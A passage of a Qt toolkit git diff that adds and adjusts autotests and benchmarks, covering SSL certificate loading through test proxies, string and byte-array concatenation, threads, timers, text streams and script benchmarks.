+            proxy = QNetworkProxy(QNetworkProxy::HttpProxy, testServer, 3128);
+            break;
+
+        case HttpProxy | AuthBasic:
+            proxy = QNetworkProxy(QNetworkProxy::HttpProxy, testServer, 3129);
+            break;
+
+        case HttpProxy | AuthNtlm:
+            proxy = QNetworkProxy(QNetworkProxy::HttpProxy, testServer, 3130);
+            break;
+        }
+        QNetworkProxy::setApplicationProxy(proxy);
+    }
+
+    qt_qhostinfo_clear_cache();
+}
+
+void tst_QSslSocket_onDemandCertificates_static::cleanup()
+{
+    QNetworkProxy::setApplicationProxy(QNetworkProxy::DefaultProxy);
+}
+
+#ifndef QT_NO_OPENSSL
+QSslSocketPtr tst_QSslSocket_onDemandCertificates_static::newSocket()
+{
+    QSslSocket *socket = new QSslSocket;
+
+    proxyAuthCalled = 0;
+    connect(socket, SIGNAL(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)),
+            SLOT(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)),
+            Qt::DirectConnection);
+
+    return QSslSocketPtr(socket);
+}
+#endif
+
+void tst_QSslSocket_onDemandCertificates_static::proxyAuthenticationRequired(const QNetworkProxy &, QAuthenticator *auth)
+{
+    ++proxyAuthCalled;
+    auth->setUser("qsockstest");
+    auth->setPassword("password");
+}
+
+#ifndef QT_NO_OPENSSL
+
+void tst_QSslSocket_onDemandCertificates_static::onDemandRootCertLoadingStaticMethods()
+{
+    QString host("qt.nokia.com");
+
+    // not using any root certs -> should not work
+    QSslSocket::setDefaultCaCertificates(QList<QSslCertificate>());
+    QSslSocketPtr socket = newSocket();
+    this->socket = socket;
+    socket->connectToHostEncrypted(host, 443);
+    QVERIFY(!socket->waitForEncrypted());
+
+    // using system root certs -> should work
+    QSslSocket::setDefaultCaCertificates(QSslSocket::systemCaCertificates());
+    QSslSocketPtr socket2 = newSocket();
+    this->socket = socket2;
+    socket2->connectToHostEncrypted(host, 443);
+    QVERIFY2(socket2->waitForEncrypted(), qPrintable(socket2->errorString()));
+
+    // not using any root certs again -> should not work
+    QSslSocket::setDefaultCaCertificates(QList<QSslCertificate>());
+    QSslSocketPtr socket3 = newSocket();
+    this->socket = socket3;
+    socket3->connectToHostEncrypted(host, 443);
+    QVERIFY(!socket3->waitForEncrypted());
+}
+
+#endif // QT_NO_OPENSSL
+
+QTEST_MAIN(tst_QSslSocket_onDemandCertificates_static)
+#include "tst_qsslsocket_onDemandCertificates_static.moc"
diff --git a/tests/auto/qstringbuilder1/stringbuilder.cpp b/tests/auto/qstringbuilder1/stringbuilder.cpp
index b4f6334..f3c0ea9 100644
--- a/tests/auto/qstringbuilder1/stringbuilder.cpp
+++ b/tests/auto/qstringbuilder1/stringbuilder.cpp
@@ -40,9 +40,13 @@
 ****************************************************************************/
 
 #define LITERAL "some literal"
+#define LITERAL_LEN (sizeof(LITERAL)-1)
+#define LITERAL_EXTRA "some literal" "EXTRA"
 
 // "some literal", but replacing all vocals by their umlauted UTF-8 string :)
 #define UTF8_LITERAL "s\xc3\xb6m\xc3\xab l\xc3\xaft\xc3\xabr\xc3\xa4l"
+#define UTF8_LITERAL_LEN (sizeof(UTF8_LITERAL)-1)
+#define UTF8_LITERAL_EXTRA "s\xc3\xb6m\xc3\xab l\xc3\xaft\xc3\xabr\xc3\xa4l" "EXTRA"
 
 
 //fix for gcc4.0: if the operator+ does not exist without QT_USE_FAST_OPERATOR_PLUS
@@ -65,7 +69,6 @@ void runScenario()
     QLatin1Char achar('c');
     QString r2(QLatin1String(LITERAL LITERAL));
     QString r;
-    QByteArray ba(LITERAL);
 
     r = l1literal Q l1literal;
     QCOMPARE(r, r2);
@@ -86,6 +89,15 @@ void runScenario()
     QCOMPARE(r, r2);
     r = LITERAL P string;
     QCOMPARE(r, r2);
+
+    QByteArray ba = QByteArray(LITERAL);
+    r = ba P string;
+    QCOMPARE(r, r2);
+    r = string P ba;
+    QCOMPARE(r, r2);
+
+    static const char badata[] = LITERAL_EXTRA;
+    ba = QByteArray::fromRawData(badata, LITERAL_LEN);
     r = ba P string;
     QCOMPARE(r, r2);
     r = string P ba;
@@ -109,5 +121,20 @@ void runScenario()
     QCOMPARE(r, r2);
     r = string P ba;
     QCOMPARE(r, r2);
+
+    ba = QByteArray::fromRawData(UTF8_LITERAL_EXTRA, UTF8_LITERAL_LEN);
+    r = ba P string;
+    QCOMPARE(r, r2);
+    r = string P ba;
+    QCOMPARE(r, r2);
+
+    ba = QByteArray(); // empty
+    r = ba P string;
+    QCOMPARE(r, string);
+    r = string P ba;
+    QCOMPARE(r, string);
 #endif
+
+    string = QString::fromLatin1(LITERAL);
+    QCOMPARE(QByteArray(qPrintable(string P string)), QByteArray(string.toLatin1() + string.toLatin1()));
 }
diff --git a/tests/auto/qstylesheetstyle/tst_qstylesheetstyle.cpp b/tests/auto/qstylesheetstyle/tst_qstylesheetstyle.cpp
index 50002a6..83adf49 100644
--- a/tests/auto/qstylesheetstyle/tst_qstylesheetstyle.cpp
+++ b/tests/auto/qstylesheetstyle/tst_qstylesheetstyle.cpp
@@ -100,6 +100,7 @@ private slots:
     void task188195_baseBackground();
     void task232085_spinBoxLineEditBg();
     void changeStyleInChangeEvent();
+    void QTBUG15910_crashNullWidget();
 
     //at the end because it mess with the style.
     void widgetStyle();
@@ -1657,6 +1658,23 @@ void tst_QStyleSheetStyle::QTBUG11658_cachecrash()
     qApp->setStyleSheet(QString());
 }
 
+void tst_QStyleSheetStyle::QTBUG15910_crashNullWidget()
+{
+    struct : QWidget {
+        virtual void paintEvent(QPaintEvent* ) {
+            QStyleOption opt;
+            opt.init(this);
+            QPainter p(this);
+            style()->drawPrimitive(QStyle::PE_Widget, &opt, &p, 0);
+            style()->drawPrimitive(QStyle::PE_Frame, &opt, &p, 0);
+            style()->drawControl(QStyle::CE_PushButton, &opt, &p, 0);
+        }
+    } w;
+    w.setStyleSheet("* { background-color: white; color:black; border 3px solid yellow }");
+    w.show();
+    QTest::qWaitForWindowShown(&w);
+}
+
 
 QTEST_MAIN(tst_QStyleSheetStyle)
 #include "tst_qstylesheetstyle.moc"
diff --git a/tests/auto/qsvgrenderer/qsvgrenderer.pro b/tests/auto/qsvgrenderer/qsvgrenderer.pro
index 49337e2..fc98776 100644
--- a/tests/auto/qsvgrenderer/qsvgrenderer.pro
+++ b/tests/auto/qsvgrenderer/qsvgrenderer.pro
@@ -18,3 +18,6 @@ wince*|symbian {
    }
 }
 
+!symbian: {
+    DEFINES += SRCDIR=\\\"$$PWD/\\\"
+}
diff --git a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp
index 5928a09..9fbf2a0 100644
--- a/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp
+++ b/tests/auto/qsvgrenderer/tst_qsvgrenderer.cpp
@@ -51,6 +51,10 @@
 #include <QPicture>
 #include <QXmlStreamReader>
 
+#ifndef SRCDIR
+#define SRCDIR
+#endif
+
 //TESTED_CLASS=
 //TESTED_FILES=
 
@@ -647,13 +651,13 @@ void tst_QSvgRenderer::gradientRefs()
 #ifndef QT_NO_COMPRESS
 void tst_QSvgRenderer::testGzLoading()
 {
-    QSvgRenderer renderer(QLatin1String("heart.svgz"));
+    QSvgRenderer renderer(QLatin1String(SRCDIR "heart.svgz"));
     QVERIFY(renderer.isValid());
 
     QSvgRenderer resourceRenderer(QLatin1String(":/heart.svgz"));
     QVERIFY(resourceRenderer.isValid());
 
-    QFile largeFileGz("large.svgz");
+    QFile largeFileGz(SRCDIR "large.svgz");
     largeFileGz.open(QIODevice::ReadOnly);
     QByteArray data = largeFileGz.readAll();
     QSvgRenderer autoDetectGzData(data);
diff --git a/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp b/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp
index a6499ff..92e8608 100644
--- a/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp
+++ b/tests/auto/qtconcurrentiteratekernel/tst_qtconcurrentiteratekernel.cpp
@@ -201,6 +201,7 @@ void tst_QtConcurrentIterateKernel::noIterations()
         startThreadEngine(new IterateKernel<TestIterator, void>(0, 0)).startBlocking();
 }
 
+QMutex threadsMutex;
 QSet<QThread *> threads;
 class ThrottleFor : public IterateKernel<TestIterator, void>
 {
@@ -219,8 +220,10 @@ public:
 
         QThread *thread = QThread::currentThread();
 
-        if (begin > 140 && end < 160)
+        if (begin > 140 && end < 160) {
+            QMutexLocker locker(&threadsMutex);
             threads.insert(thread);
+        }
 
         if (100 >= begin && 100 < end) {
             throttling = true;
diff --git a/tests/auto/qtextstream/tst_qtextstream.cpp b/tests/auto/qtextstream/tst_qtextstream.cpp
index 99f2556..2d7c24d 100644
--- a/tests/auto/qtextstream/tst_qtextstream.cpp
+++ b/tests/auto/qtextstream/tst_qtextstream.cpp
@@ -208,6 +208,7 @@ private slots:
     void seek();
     void pos();
     void pos2();
+    void pos3LargeFile();
     void readStdin();
     void readAllFromStdin();
     void readLineFromStdin();
@@ -1502,6 +1503,41 @@ void tst_QTextStream::pos2()
 }
 
 // ------------------------------------------------------------------------------
+void tst_QTextStream::pos3LargeFile()
+{
+    {
+        QFile file(TestFileName);
+        file.open(QIODevice::WriteOnly | QIODevice::Text);
+        QTextStream out( &file );
+        // NOTE: The unusual spacing is to ensure non-1-character whitespace.
+        QString lineString = " 0  1  2\t3  4\t \t5  6  7  8   9 \n";
+        // Approximate 50kb text file
+        const int NbLines = (50*1024) / lineString.length() + 1;
+        for (int line = 0; line < NbLines; ++line)
+            out << lineString;
+        // File is automatically flushed and closed on destruction.
+    }
+    QFile file(TestFileName);
+    file.open(QIODevice::ReadOnly | QIODevice::Text);
+    QTextStream in( &file );
+    const int testValues[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
+    int value;
+    while (true) {
+        in.pos();
+        for ( int i = 0; i < 10; ++i ) {
+            in >> value;
+            if (in.status() != QTextStream::Ok) {
+                // End case, i == 0 && eof reached.
+                QCOMPARE(i, 0);
+                QCOMPARE(in.status(), QTextStream::ReadPastEnd);
+                return;
+            }
+            QCOMPARE(value, testValues[i]);
+        }
+    }
+}
+
+// ------------------------------------------------------------------------------
 void tst_QTextStream::readStdin()
 {
 #if defined(Q_OS_WINCE) || defined(Q_OS_SYMBIAN)
diff --git a/tests/auto/qthread/tst_qthread.cpp b/tests/auto/qthread/tst_qthread.cpp
index 19c6c16..c69052e 100644
--- a/tests/auto/qthread/tst_qthread.cpp
+++ b/tests/auto/qthread/tst_qthread.cpp
@@ -113,6 +113,7 @@ private slots:
     void wait3_slowDestructor();
     void destroyFinishRace();
     void startFinishRace();
+    void startAndQuitCustomEventLoop();
 
     void stressTest();
 };
@@ -1150,5 +1151,20 @@ void tst_QThread::startFinishRace()
     }
 }
 
+void tst_QThread::startAndQuitCustomEventLoop()
+{
+    struct Thread : QThread {
+        void run() { QEventLoop().exec(); }
+    };
+
+   for (int i = 0; i < 5; i++) {
+       Thread t;
+       t.start();
+       t.quit();
+       t.wait();
+   }
+}
+
+
 QTEST_MAIN(tst_QThread)
 #include "tst_qthread.moc"
diff --git a/tests/auto/qtimer/tst_qtimer.cpp b/tests/auto/qtimer/tst_qtimer.cpp
index 6cff7c53..c2acc18 100644
--- a/tests/auto/qtimer/tst_qtimer.cpp
+++ b/tests/auto/qtimer/tst_qtimer.cpp
@@ -50,6 +50,8 @@
 #include <unistd.h>
 #endif
 
+#include "../../shared/util.h"
+
 
 //TESTED_CLASS=
 //TESTED_FILES=
@@ -272,9 +274,9 @@ void tst_QTimer::livelock()
     QFETCH(int, interval);
     LiveLockTester tester(interval);
     QTest::qWait(180); // we have to use wait here, since we're testing timers with a non-zero timeout
-    QCOMPARE(tester.timeoutsForFirst, 1);
+    QTRY_COMPARE(tester.timeoutsForFirst, 1);
     QCOMPARE(tester.timeoutsForExtra, 0);
-    QCOMPARE(tester.timeoutsForSecond, 1);
+    QTRY_COMPARE(tester.timeoutsForSecond, 1);
 #if defined(Q_OS_WIN) && !defined(Q_OS_WINCE)
 	if (QSysInfo::WindowsVersion < QSysInfo::WV_XP)
 		QEXPECT_FAIL("non-zero timer", "Multimedia timers are not available on Windows 2000", Continue);
@@ -724,7 +726,7 @@ void tst_QTimer::QTBUG13633_dontBlockEvents()
 {
     DontBlockEvents t;
     QTest::qWait(60);
-    QVERIFY(t.total > 2);
+    QTRY_VERIFY(t.total > 2);
 }
 
 class SlotRepeater : public QObject {
diff --git a/tests/benchmarks/corelib/corelib.pro b/tests/benchmarks/corelib/corelib.pro
index 335280e..a2efe91 100644
--- a/tests/benchmarks/corelib/corelib.pro
+++ b/tests/benchmarks/corelib/corelib.pro
@@ -11,6 +11,7 @@ TRUSTED_BENCHMARKS += \
     kernel/qmetaobject \
     kernel/qmetatype \
     kernel/qobject \
-    thread/qthreadstorage
+    thread/qthreadstorage \
+    io/qdir/tree
 
 include(../trusted-benchmarks.pri)
\ No newline at end of file
diff --git a/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro b/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro
new file mode 100644
index 0000000..a39cd3d
--- /dev/null
+++ b/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro
@@ -0,0 +1,8 @@
+load(qttest_p4)
+QT += declarative
+TEMPLATE = app
+TARGET = tst_qperformancetimer
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qperformancetimer.cpp
+
diff --git a/tools/qtconfig/paletteeditoradvancedbase.h b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp
index c097382..497a556 100644
--- a/tools/qtconfig/paletteeditoradvancedbase.h
+++ b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp
@@ -1,10 +1,10 @@
 /****************************************************************************
 **
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the test suite of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,40 +39,62 @@
 **
 ****************************************************************************/
 
-#ifndef PALETTEEDITORADVANCEDBASE_H
-#define PALETTEEDITORADVANCEDBASE_H
+#include <private/qperformancetimer_p.h>
+#include <QObject>
+#include <qtest.h>
 
-#include "ui_paletteeditoradvancedbase.h"
-#include <QVariant>
-
-QT_BEGIN_NAMESPACE
-
-class ColorButton;
-
-class PaletteEditorAdvancedBase : public QDialog, public Ui::PaletteEditorAdvancedBase
+class tst_qperformancetimer : public QObject
 {
     Q_OBJECT
 
 public:
-    PaletteEditorAdvancedBase(QWidget* parent = 0, const char* name = 0, bool modal = false, Qt::WindowFlags fl = 0);
-    ~PaletteEditorAdvancedBase();
+    tst_qperformancetimer() {}
 
-protected slots:
-    virtual void languageChange();
+private slots:
+    void all();
+    void startElapsed();
+    void doubleElapsed();
+    void trace();
+};
 
-    virtual void init();
-    virtual void destroy();
-    virtual void onCentral(int);
-    virtual void onChooseCentralColor();
-    virtual void onChooseEffectColor();
-    virtual void onEffect(int);
-    virtual void onToggleBuildDisabled(bool);
-    virtual void onToggleBuildEffects(bool);
-    virtual void onToggleBuildInactive(bool);
-    virtual void paletteSelected(int);
+void tst_qperformancetimer::all()
+{
+    QBENCHMARK {
+        QPerformanceTimer t;
+        t.start();
+        t.elapsed();
+    }
+}
 
-};
+void tst_qperformancetimer::startElapsed()
+{
+    QPerformanceTimer t;
+    QBENCHMARK {
+        t.start();
+        t.elapsed();
+    }
+}
+
+void tst_qperformancetimer::doubleElapsed()
+{
+    QPerformanceTimer t;
+    t.start();
+    QBENCHMARK {
+        t.elapsed();
+        t.elapsed();
+    }
+}
+
+void tst_qperformancetimer::trace()
+{
+    QString s("A decent sized string of text here.");
+    QBENCHMARK {
+        QByteArray data;
+        QDataStream ds(&data, QIODevice::WriteOnly);
+        ds << (qint64)100 << (int)5 << (int)5 << s;
+    }
+}
 
-QT_END_NAMESPACE
+QTEST_MAIN(tst_qperformancetimer)
 
-#endif // PALETTEEDITORADVANCEDBASE_H
+#include "tst_qperformancetimer.moc"
diff --git a/tests/benchmarks/network/ssl/qsslsocket/tst_qsslsocket.cpp b/tests/benchmarks/network/ssl/qsslsocket/tst_qsslsocket.cpp
index 6cb62d0..041b61a 100644
--- a/tests/benchmarks/network/ssl/qsslsocket/tst_qsslsocket.cpp
+++ b/tests/benchmarks/network/ssl/qsslsocket/tst_qsslsocket.cpp
@@ -46,7 +46,7 @@
 #include <qsslsocket.h>
 
 
-// #include "../../../../auto/network-settings.h"
+#include "../../../../auto/network-settings.h"
 
 //TESTED_CLASS=
 //TESTED_FILES=
@@ -65,6 +65,7 @@ public slots:
     void init();
     void cleanup();
 private slots:
+    void rootCertLoading();
     void systemCaCertificates();
 };
 
@@ -89,6 +90,16 @@ void tst_QSslSocket::cleanup()
 }
 
 //----------------------------------------------------------------------------------
+
+void tst_QSslSocket::rootCertLoading()
+{
+    QBENCHMARK_ONCE {
+        QSslSocket socket;
+        socket.connectToHostEncrypted(QtNetworkSettings::serverName(), 443);
+        socket.waitForEncrypted();
+    }
+}
+
 void tst_QSslSocket::systemCaCertificates()
 {
   // The results of this test change if the benchmarking system changes too much.
diff --git a/tests/benchmarks/script/context2d/context2d.pro b/tests/benchmarks/script/context2d/context2d.pro
new file mode 100644
index 0000000..bc94c4f
--- /dev/null
+++ b/tests/benchmarks/script/context2d/context2d.pro
@@ -0,0 +1,22 @@
+load(qttest_p4)
+TEMPLATE = app
+TARGET = tst_bench_context2d
+
+SOURCES += tst_context2d.cpp
+
+CONTEXT2D_EXAMPLE_DIR = $$QT_SOURCE_TREE/examples/script/context2d
+INCLUDEPATH += $$CONTEXT2D_EXAMPLE_DIR
+
+HEADERS += $$CONTEXT2D_EXAMPLE_DIR/qcontext2dcanvas.h \
+           $$CONTEXT2D_EXAMPLE_DIR/context2d.h \
+           $$CONTEXT2D_EXAMPLE_DIR/domimage.h \
+           $$CONTEXT2D_EXAMPLE_DIR/environment.h
+
+SOURCES += $$CONTEXT2D_EXAMPLE_DIR/qcontext2dcanvas.cpp \
+           $$CONTEXT2D_EXAMPLE_DIR/context2d.cpp \
+           $$CONTEXT2D_EXAMPLE_DIR/domimage.cpp \
+           $$CONTEXT2D_EXAMPLE_DIR/environment.cpp
+
+RESOURCES += $$CONTEXT2D_EXAMPLE_DIR/context2d.qrc
+
+QT += script
diff --git a/tests/benchmarks/script/context2d/tst_context2d.cpp b/tests/benchmarks/script/context2d/tst_context2d.cpp
new file mode 100644
index 0000000..8401590
--- /dev/null
+++ b/tests/benchmarks/script/context2d/tst_context2d.cpp
@@ -0,0 +1,177 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qfile.h>
+#include <QtCore/qtextstream.h>
+#include <QtScript/qscriptengine.h>
+#include <QtScript/qscriptvalue.h>
+#include "context2d.h"
+#include "environment.h"
+#include "qcontext2dcanvas.h"
+
+static QString readFile(const QString &filename)
+{
+    QFile file(filename);
+    if (!file.open(QFile::ReadOnly))
+        return QString();
+    QTextStream stream(&file);
+    stream.setCodec("UTF-8");
+    return stream.readAll();
+}
+
+class tst_Context2D : public QObject
+{
+    Q_OBJECT
+
+public:
+    tst_Context2D();
+    ~tst_Context2D();
+
+private slots:
+    void singleExecution_data();
+    void singleExecution();
+    void repeatedExecution_data();
+    void repeatedExecution();
+
+private:
+    void newEnvironment();
+
+private:
+    QDir testsDir;
+    Environment *m_env;
+    QContext2DCanvas *m_canvas;
+};
+
+tst_Context2D::tst_Context2D()
+    : m_env(0), m_canvas(0)
+{
+    testsDir = QDir(":/scripts");
+    if (!testsDir.exists())
+        qWarning("*** no scripts/ dir!");
+}
+
+tst_Context2D::~tst_Context2D()
+{
+    delete m_canvas;
+    delete m_env;
+}
+
+void tst_Context2D::newEnvironment()
+{
+    delete m_canvas;
+    delete m_env;
+    m_env = new Environment();
+    Context2D *context = new Context2D(m_env);
+    context->setSize(150, 150); // Hard-coded in many of the scripts.
+    m_canvas = new QContext2DCanvas(context, m_env);
+    m_canvas->setFixedSize(context->size());
+    m_canvas->setObjectName("tutorial"); // Acts as the DOM element ID.
+    m_env->addCanvas(m_canvas);
+}
+
+void tst_Context2D::singleExecution_data()
+{
+    QTest::addColumn<QString>("testName");
+    QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files);
+    foreach (QFileInfo tfi, testFileInfos) {
+        QString name = tfi.baseName();
+        QTest::newRow(name.toLatin1().constData()) << name;
+    }
+}
+
+void tst_Context2D::singleExecution()
+{
+    QFETCH(QString, testName);
+    QString script = readFile(testsDir.absoluteFilePath(testName + ".js"));
+    QVERIFY(!script.isEmpty());
+
+    newEnvironment();
+    QBENCHMARK {
+        m_env->evaluate(script, testName);
+        // Some of the scripts (e.g. plasma.js) merely start a timer and do
+        // the actual drawing in the timer event. Trigger the timers now to
+        // ensure that the real work is done.
+        m_env->triggerTimers();
+    }
+    QVERIFY(!m_env->engine()->hasUncaughtException());
+}
+
+void tst_Context2D::repeatedExecution_data()
+{
+    // We look for scripts that register an interval timer.
+    // Such scripts run a function every n milliseconds to update the canvas.
+    // The benchmark will execute this function repeatedly, which can allow
+    // us to observe potential effects of profiling-based JIT optimizations.
+    QTest::addColumn<QString>("testName");
+    QTest::addColumn<QString>("script");
+    QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files);
+    foreach (QFileInfo tfi, testFileInfos) {
+        QString script = readFile(tfi.absoluteFilePath());
+        QString name = tfi.baseName();
+        newEnvironment();
+        m_env->evaluate(script, name);
+        if (m_env->engine()->hasUncaughtException())
+            continue;
+        if (m_env->hasIntervalTimers())
+            QTest::newRow(name.toLatin1().constData()) << name << script;
+    }
+}
+
+void tst_Context2D::repeatedExecution()
+{
+    QFETCH(QString, testName);
+    QFETCH(QString, script);
+
+    newEnvironment();
+    m_env->evaluate(script, testName);
+    QBENCHMARK {
+        // Trigger the update function repeatedly, effectively
+        // performing several frames of animation.
+        for (int i = 0; i < 16; ++i)
+            m_env->triggerTimers();
+    }
+    QVERIFY(!m_env->engine()->hasUncaughtException());
+}
+
+QTEST_MAIN(tst_Context2D)
+#include "tst_context2d.moc"
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro
new file mode 100644
index 0000000..d64f705
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro
@@ -0,0 +1,10 @@
+load(qttest_p4)
+TEMPLATE = app
+TARGET = tst_bench_qscriptclass_bytearray
+
+SOURCES += tst_qscriptclass_bytearray.cpp
+RESOURCES += qscriptclass_bytearray.qrc
+
+include($$QT_SOURCE_TREE/examples/script/customclass/bytearrayclass.pri)
+
+QT = core script
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc
new file mode 100644
index 0000000..a894ee5
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+    <file>tests</file>
+</qresource>
+</RCC>
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js
new file mode 100644
index 0000000..9c03871
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 5000; ++i)
+    new ByteArray(ba);
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js
new file mode 100644
index 0000000..2c2bbf5
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js
@@ -0,0 +1,2 @@
+for (i = 0; i < 5000; ++i)
+    new ByteArray(123);
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js
new file mode 100644
index 0000000..46bc9f3
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(8000);
+for (var p in ba)
+    ;
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js
new file mode 100644
index 0000000..9f6a503
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 10000; ++i)
+    ba[10];
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js
new file mode 100644
index 0000000..5de2f58
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 10000; ++i)
+    ba.length;
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js
new file mode 100644
index 0000000..752d875
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 3000; ++i)
+    ba.mid(50);
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js
new file mode 100644
index 0000000..4883765
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 10000; ++i)
+    ba[10] = 123;
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js
new file mode 100644
index 0000000..18c9f59
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js
@@ -0,0 +1,3 @@
+ba = new ByteArray();
+for (i = 0; i < 10000; ++i)
+    ba.length = 123;
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js
new file mode 100644
index 0000000..096937d
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js
@@ -0,0 +1,8 @@
+function sum(ba) {
+    var result = 0;
+    for (var i = 0; i < ba.length; ++i)
+        result += ba[i];
+    return result;
+}
+
+sum(new ByteArray(10000));
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js
new file mode 100644
index 0000000..967dba6
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js
@@ -0,0 +1,3 @@
+ba = new ByteArray(123);
+for (i = 0; i < 3000; ++i)
+    ba.trimmed();
diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp b/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp
new file mode 100644
index 0000000..351adc8
--- /dev/null
+++ b/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
